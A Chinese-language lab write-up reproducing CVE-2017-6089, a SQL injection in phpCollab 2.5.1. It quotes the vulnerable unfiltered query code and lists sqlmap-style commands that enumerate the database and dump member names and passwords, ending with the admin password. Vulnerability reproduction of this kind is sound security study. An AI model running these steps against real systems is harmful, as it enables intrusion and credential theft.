CVE-2017-6089 SQL注入漏洞复现


漏洞介绍:

漏洞被描述为:在phpcollab 2.5.1以及更早版本中存在SQL注入漏洞,允许远程攻击者执行任意的SQL指令。漏洞存在于3处,topics/deletetopics.php中project参数和id参数,bookmarks/deletebookmarks.php中的id参数,以及calendar/deletecalendar.php中的id参数。
在本地虚拟机中搭建此系统,逐一查看这些SQL注入点。

工具选择:

1.虚拟机中搭建win7
2.安装java环境确保能够使用burpsuite
2.配置好Phpcollab
3.配置好PHPstudy

下载phpCollab-v2.5.1,放到web根目录下安装


登陆账号是admin
密码是phpcadmin
然后添加一个项目

然后添加一个讨论

脚本分析:

在/phpCollab-v2.5.1/topics/deletetopics.php第67~71行处:
$id = str_replace(“**”,”,”,$id);
$tmpquery = “WHERE topic.id IN($id) ORDER BY topic.subject”;
$listTopics = new request();
$listTopics->openTopics($tmpquery);
$comptListTopics = count($listTopics->top_id);

代码首先把参数id中的**替换成逗号,然后直接拼接到SQL语句中赋值给$tmpquery,接着被传入openTopics()方法.
跟进该方法,在/phpCollab-v2.5.1/includes/request.class.php第509行左右,
function openTopics($querymore,$start=””,$rows=””)
{
global $tableCollab, $strings, $res, $row, $databaseType, $initrequest;

    $this->connectClass();
    $sql = $initrequest["topics"];
    $sql .= ' '.$querymore;

    if ($databaseType == "mysql" && $start != "") 
    {
        $sql .= " LIMIT $start,$rows";
    }

    if ($databaseType == "postgresql" && $start != "") 
    {
        $sql .= " LIMIT $rows OFFSET $start";
    }

    $index = $this->query($sql);
    while($this->fetch()) 
    {
        $this->top_id[] = ($row[0]);
        $this->top_project[] = ($row[1]);
        $this->top_owner[] = ($row[2]);
        $this->top_subject[] = ($row[3]);
        $this->top_status[] = ($row[4]);
        $this->top_last_post[] = ($row[5]);
        $this->top_posts[] = ($row[6]);
        $this->top_published[] = ($row[7]);
        $this->top_mem_id[] = ($row[8]);
        $this->top_mem_login[] = ($row[9]);
        $this->top_mem_name[] = ($row[10]);
        $this->top_mem_email_work[] = ($row[11]);
        $this->top_pro_id[] = ($row[12]);
        $this->top_pro_name[] = ($row[13]);
    }
    $this->close();
}

传入之后又进行了一次SQL语句拼接,然后传入了query()方法,跟进该方法,在/phpCollab-v2.5.1/includes/request.class.php第35行左右,
function query($sql)
{
global $res,$databaseType,$comptRequest;

$comptRequest = $comptRequest + 1;

if ($databaseType == "mysql") 
{
    $this->index = mysql_query($sql, $res);
}

……
}
可以看到,$sql传入后进入mysql_query(),带入数据库进行SQL查询.
整个过程没有做过滤,所以产生了SQL注入漏洞。

漏洞复现过程:

访问:http://10.18.74.150/php/topics/deletetopics.php?project=1&PHPSESSID=67799533afe506fca2db18a7ccc14104&id=1
利用burpsuite抓包,将请求保存为sql.txt

1. 检测注入

-r “C:\Users\33715\Desktop\sql.txt” –threads=10 –dbms=mysql

2. 查库名

-r “C:\Users\33715\Desktop\sql.txt” –threads=10 –dbms=mysql –current-db

3. 查表名

-r “C:\Users\33715\Desktop\sql.txt” –threads=10 –dbms=mysql -D phpco –tables

4. 查表members中的列名

-r “C:\Users\33715\Desktop\sql.txt” –threads=10 –dbms=mysql -D phpco -T members –columns

5. 查列name和password中的数据

-r “C:\Users\33715\Desktop\sql.txt” –threads=10 –dbms=mysql -D phpco -T members -C name,password–dump

通过SQL注入漏洞,得到了管理员的密码。
至此漏洞复现完成。